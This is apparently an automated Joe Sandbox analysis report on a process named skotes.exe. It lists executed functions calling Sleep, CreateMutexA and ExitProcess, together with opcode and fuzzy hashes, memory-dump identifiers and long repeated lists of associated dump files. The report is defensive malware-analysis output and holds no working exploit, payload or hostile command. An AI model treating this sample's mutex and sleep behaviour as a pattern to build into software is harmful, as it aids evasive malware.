String ID:
API String ID: 531285432-0
Opcode ID: 585c02a91f2c6343c208fc475e317dda6eb0a33137cf0b740bdbb053121ef6ec
Instruction ID: dc43eed4300b474f6b67d232702eb130d129e3da0eefeda8e1b412757ec0f0d3
Opcode Fuzzy Hash: 585c02a91f2c6343c208fc475e317dda6eb0a33137cf0b740bdbb053121ef6ec
Instruction Fuzzy Hash: D9211D71A00129AFEF40EBA4ED85DFEB7B9EF08710F500025F901B7252DB749D019BA0

Analysis Process: skotes.exePID: 2140, Parent PID: 6592COMMON

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1906
Total number of Limit Nodes:	9

Executed Functions

Function 0029652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,?,0029652A,?,?,?,?,?,00297661), ref: 00296566

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 4f2dfa0afaa43b0bce592906d3f0c380e83aabb3f1df7f79d24c06315d72892e
Instruction ID: bd480c276a1e99c71b9292fefa8cf99b21fae2603201d363596e3e2ce1a7de41
Opcode Fuzzy Hash: 4f2dfa0afaa43b0bce592906d3f0c380e83aabb3f1df7f79d24c06315d72892e
Instruction Fuzzy Hash: 55E0C2310A2108AECF357F18CD09D483BA9FF11755F420810FD084A226CB35EEA2CA80

Function 00269BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: fc07475239b9ca93b0294d80f279ba7197f1b372491a8dd43ea3991b8b584f99
Instruction ID: 713ff1182738a92efcaf74f5176387b602664323de97382ba624f5038af75356
Opcode Fuzzy Hash: fc07475239b9ca93b0294d80f279ba7197f1b372491a8dd43ea3991b8b584f99
Instruction Fuzzy Hash: 55316D316252048BEB08DB78DD89B5DB7BAEFC5314F308219E014AB3D5CB755DE08B51

Function 00269F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 0fd4507bb9ec96b365b5e108952cb9570ba7cb147f06cbc06e70b11fdadbb704
Instruction ID: 68bf79622de4e1655ac3f669f2829705bf0a4294b2e59d87d347e8133707ed93
Opcode Fuzzy Hash: 0fd4507bb9ec96b365b5e108952cb9570ba7cb147f06cbc06e70b11fdadbb704
Instruction Fuzzy Hash: 7C314A316241048BEB18DB78DD88BADB77AEFC5310F308619E418EB6D5CB7659E08B52

Function 0026A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120641311.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120673430.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120698104.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120724332.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120797545.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120821484.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120844543.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120870310.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120899687.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120927411.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120951454.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 348f776691aaa826456d05fbad35329c397c17c66f7bd1eec73ce710538734a0
Instruction ID: ddc057a405e62a19dedf10cb1c85748d7802d6c026e30b820389abe9723c308c
Opcode Fuzzy Hash: 348f776691aaa826456d05fbad35329c397c17c66f7bd1eec73ce710538734a0
Instruction Fuzzy Hash: B23148316241049BEB08DB78DD89B6DB776EFC2314F308619E418BB3D5C77699E08E52

Function 0026A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0026A963
CreateMutexA.KERNELBASE(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000002.00000002.2119047874.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000002.00000002.2119018904.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119047874.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119156004.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119185819.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119217596.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119407735.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119429382.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119475216.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119507280.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119543419.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119609498.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119639462.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119671043.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119701440.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119736899.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119774514.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119808885.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119841155.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119879551.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2119930185.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120109411.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120168366.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120204380.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120221769.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120249423.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120284498.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120317028.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120346263.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120373433.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120397496.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120424970.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120449381.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120476130.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120499529.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120525744.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120550707.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120576866.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2120606152.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
